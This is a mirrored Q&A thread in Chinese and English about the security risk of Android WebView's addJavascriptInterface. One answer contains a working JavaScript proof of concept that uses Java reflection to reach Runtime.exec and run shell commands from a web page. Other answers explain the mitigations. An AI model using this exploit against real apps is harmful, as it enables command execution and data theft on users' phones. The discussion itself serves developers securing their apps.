Android Javascript接口安全?

发布于 2024-11-16 11:02:34 字数 2127 浏览 3 评论 0原文

从文档中: http: //developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

“使用 addJavascriptInterface() 允许JavaScript 来控制您的应用程序。当 WebView 中的 HTML 不可信时(例如,部分或全部 HTML 由某些人或进程提供),这可能是一个非常有用的功能,也可能是一个危险的安全问题。注入将执行您的代码以及攻击者选择的任何代码的 HTML。 不要使用 addJavascriptInterface() ,除非此 WebView 中的所有 HTML 都是由您编写的。 绑定的 Java 对象在另一个线程中运行,而不是在构造它的线程中运行。

假设我有一个仅显示自定义对话框或开始下载到 sd 卡的界面。这对于任何 url 使用都会不安全吗?攻击页面如何使用该接口来运行攻击者选择的任何代码?

更新: 根据 文档

该方法可用于让JavaScript控制主机 应用。这是一个强大的功能,但也带来了安全性 针对 API 级别 JELLY_BEAN 或更低级别的应用程序的风险, 因为 JavaScript 可以使用反射来访问注入的对象 公共领域。在包含不受信任的 WebView 中使用此方法 内容可能允许攻击者操纵主机应用程序 非预期的方式,以主机的权限执行Java代码 应用。在 WebView 中使用此方法时要格外小心 其中可能包含不受信任的内容。

有没有例子说明这种情况是如何发生的?这只是说如果 DOWNLOADINTERFACE.dangerousfunction 是该类上的公共方法,则可以调用它?

更新:

我根据下面的漏洞利用示例进行了测试,网站可以通过Android 4.4、4.1和3.2中的接口访问系统。

然而,我没有在 Android 2.2 或 2.3 上看到这个错误,该黑客攻击只会导致强制关闭。除了不使用 JSInterface 之外,防止这种黑客攻击的最佳方法是什么?我可以包含这样的虚假函数,以防止未经授权的函数调用吗?

public Object getClass() {
  //throw error, return self, or something?  
}

或者使用ajax重写所有内容并拦截调用?这会导致更好/更差的性能吗?

更新:

我成功删除了 JS 接口,并通过为所有 window.(interface) 函数定义 window.open(specialurl) 命令来替换功能,并覆盖 shouldOverrideUrlLoading 中的命令。奇怪的是,在某些情况下必须使用 window.open() ,否则 webview 会中断显示(比如 javascript 正在停止?),而在其他情况下应该使用 location.replace ,否则它只会显示“interface://specialdata “找不到消息。

(我设置了settings.setJavaScriptCanOpenWindowsAutomatically(true),所以window.open始终可以从JS工作。)

有人知道用这种行为重写应用程序的最佳方法吗?

From the documentation:
http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"Using addJavascriptInterface() allows JavaScript to control your application. This can be a very useful feature or a dangerous security issue. When the HTML in the WebView is untrustworthy (for example, part or all of the HTML is provided by some person or process), then an attacker could inject HTML that will execute your code and possibly any code of the attacker's choosing.
Do not use addJavascriptInterface() unless all of the HTML in this WebView was written by you.
The Java object that is bound runs in another thread and not in the thread that it was constructed in.

Suppose I have an interface that only shows a custom dialog box, or starts a download to sd card. Would this be unsafe to use for any url? How could an attack page use the interface to run any code of the attacker's choosing?

Update:
According to the documentation:

This method can be used to allow JavaScript to control the host
application. This is a powerful feature, but also presents a security
risk for applications targeted to API level JELLY_BEAN or below,
because JavaScript could use reflection to access an injected object's
public fields. Use of this method in a WebView containing untrusted
content could allow an attacker to manipulate the host application in
unintended ways, executing Java code with the permissions of the host
application. Use extreme care when using this method in a WebView
which could contain untrusted content.

Is there an example of how this could happen? It this just saying that DOWNLOADINTERFACE.dangerousfunction could be called if that's a public method on that class?

Update:

I tested based on the example of the exploit below, sites can get access to the system through interfaces in Android 4.4, 4.1, and 3.2.

However, I was not seeing this bug on Android 2.2, or 2.3, the hack only causes a force-close. What is the best way to prevent this hack, other than not using JSInterface? Can I include bogus functions like this, to prevent unauthorized calling of functions?

public Object getClass() {
  //throw error, return self, or something?  
}

Or rewrite everything using ajax and intercepting calls? Would that result in better/worse performance?

Update:

I succeeded in removing the JS interface, and replaced the functionality by defining window.open(specialurl) commands for all the window.(interface) functions, and overriding those in the shouldOverrideUrlLoading. Strangely enough, window.open() must be used in some cases, or the webview breaks display (like javascript is stopping?), and in other cases location.replace should be used or it will just show a "interface://specialdata" could not be found message.

(I set settings.setJavaScriptCanOpenWindowsAutomatically(true) so window.open works from JS all the time.)

Anyone know the best way to rewrite an app with this behavior?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(6

不美如何 2024-11-23 11:02:34

从 javascript 访问 sdcard 文件的示例:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>

an example access sdcard files from javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>
清欢 2024-11-23 11:02:34

因此,在 WebView 中运行的代码默认情况下是沙箱的 - 也就是说,它无法执行危险的本机内容,例如写入文件系统或访问地址簿等......

大多数 javaScript 都属于该类别,并且在以下情况下显示自定义对话框,没有危险。

addJavaScriptInterface 允许您将本机手机内容暴露给 javascript,危险在于,如果您没有正确编写 javaScriptInterface,您最终可能会将一个人的手机暴露在黑客的真正危险之下。

我认为使用示例最容易理解。

假设您编写了一个 javaScript 接口,您可以在其中调用 javaScript 中的函数,该函数将文件写入 Android 文件系统上的路径。例如:

writeToFile(data, safepath);

javascript 全部来自您的服务器,但不知何故,黑客破坏了您的服务器并更改了正在加载到您的 WebView 中运行的 HTML/JavaScript:

writeToFile(dangerousdata, pathtosomeotherfile);

现在我还没有足够好地检查 Android 包的布局,无法知道我使用的是哪个文件如果我是一名黑客,我会想要覆盖/更改,但是当我年轻的时候,我们曾经在我们自己的 Linux 机器上与朋友进行过一些黑客战斗,你会使用这样的调用来覆盖诸如 SSH 二进制文件之类的东西 - 然后你会的能够记录所有输入的密码。如果您可以用自己的手机覆盖或扩展原始 apk 等操作,您可以将该人的手机变成可以远程登录的服务器(我不确定这是否可能,因为应用程序如何沙箱化)。即使您所能做的只是覆盖关键数据文件,您也可能会导致用户(在本例中为黑客)授予您访问安全凭证、密码和各种内容的权限。

很多年前,我们在 Linux 机器上的 sendmail 进程中发现了一个漏洞,可以让我们启动 shell。我们以邮件用户身份登录到我们的服务器。作为邮件用户,您不能做太多事情,但是一旦您使用了计算机,您就有机会四处寻找其他弱点。

因此,您可以安全地做您想做的事情,只需确保 JavaScript 接口非常简单且愚蠢 - 它只写入一个位置的一个文件,并且您写入的数据可能是文本或无法获取的数据稍后解释。对于对话框,我一直这样做 - 也不需要任何特殊的本机调用。这是制作一个页面的好方法,您可以在用户安装您的应用程序后更新该页面。

希望这有帮助!

So code that gets run in a WebView is sandboxed by default - that is, it can't execute the dangerous native stuff like writing to the filesystem or accessing the address book etc...

Most javaScript falls into that category and in the case of showing a custom dialog, there's no danger.

addJavaScriptInterface allows you to expose native phone stuff to javascript and the danger is that if you don't write your javaScriptInterface correctly you could end up exposing a person's phone to real danger from a hacker.

I think it's easiest to understand using an example.

Say you write a javaScript interface where you can call a function from javaScript that writes a file to a path on the android filesystem. eg:

writeToFile(data, safepath);

The javascript all comes from your server but somehow a hacker compromises your server and changes the HTML/JavaScript that's being loaded into your WebView to run:

writeToFile(dangerousdata, pathtosomeotherfile);

Now I haven't examined the layout of an android package well enough to know which file I'd want to overwrite/change if I were a hacker, but we used to have little hacking battles with friends on our own linux machines when I was younger and you'd use a call like this to overwrite something like the SSH binary - then you'd be able to log all passwords that would come in. If you could do things like overwrite or extend the original apk with your own you could turn the person's phone into a server you could log into remotely (I'm not sure if that's possible due to how applications are sandboxed). Even if all you could do is overwrite a critical data file you might be able to cause a user to give you (the hacker in this case) access to security credentials, passwords, all sorts of things.

There was a time many years ago where we found a hole in the sendmail process on a linux machine that allowed us to start up a shell. We were logged into our server as the mail user. You couldn't do much as the mail user, but once you were on the machine it gave you the chance to look around for other weaknesses.

So you can do what you want to do safely, just be sure that you make that JavaScript interface really simple and dumb - it only writes to one file in one location and the data that you write is maybe text or something that doesn't get interpreted later. For dialogs I do this all the time - don't need any special native calls either. It's a great way to make a page you can update after the user has your app installed.

Hope this is helpful!

并安 2024-11-23 11:02:34

修复

对于运行 Android 4.2 的应用程序,所有使用 JavascriptInterface 注释的公共方法都可以从 JavaScript 访问。

因此,如果您为 SDK 版本 17 或更高版本开发应用程序,则必须将 @JavascriptInterface 注释添加到您希望可用的任何方法中JavaScript。

如果您不提供注释,则在 Android 4.2 或更高版本上运行时,您的网页将无法访问该方法。

要了解更多信息,请点击此处

The fix:

For applications running Android 4.2 all public methods that are annotated with JavascriptInterface can be accessed from JavaScript.

So if you develop an application for SDK version 17 or higher, you must add the @JavascriptInterface annotation to any method that you want available to your JavaScript.

If you do not provide the annotation, the method is not accessible by your web page when running on Android 4.2 or higher.

To know more click here

桜花祭 2024-11-23 11:02:34

为了避免

addJavaScriptInterface()的安全问题,您需要设计原生代码和JavaScript之间的通信协议。

下面是通信协议的简单设计。

在 JavaScript 中

为了简化通信协议,您希望 Android 处理的每个函数调用都应遵循以下模式

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

在 Java 中,

可以重写 WebChromeClient 中的 onJsPrompt()

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Cordova 框架

这也是 Cordova 插件< /a> 有效。 Cordova虽然比较复杂,但是它在“JS to Native Call”的基础上增加了回调函数,并且允许原生代码调用JavaScript

OverView

To avoid the security issue of addJavaScriptInterface(), you need to design a communication protocol between native code and JavaScript.

The following is a simple design of the communication protocol.

In JavaScript

To simplify the communication protocol, every function call that you want Android to handle should obey the following pattern

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

In Java

One can override the onJsPrompt() in WebChromeClient.

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Cordova framework

This is also how Cordova Plugin works. Although Cordova is more complicated, it adds callback function to "JS to Native Call", and allow native code call JavaScript

命比纸薄 2024-11-23 11:02:34

对于 2020 年检查过这一问题的人来说,安全问题似乎只影响低于 17 (Android 4.2) 的 Android API。因此,如果您的 minSdkVersion17 或更高,那么您应该是安全的。

以下是参考:

For anyone checking this out in 2020, it seems like the security concern only affects Android APIs lower than 17 (Android 4.2). So, if your minSdkVersion is 17 or higher, then you should be safe.

Here are references:

无边思念无边月 2024-11-23 11:02:34

此安全错误适用于除 api 级别 >= 17 之外的所有本机接口。

this security bug works with all native interface except api level >= 17.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文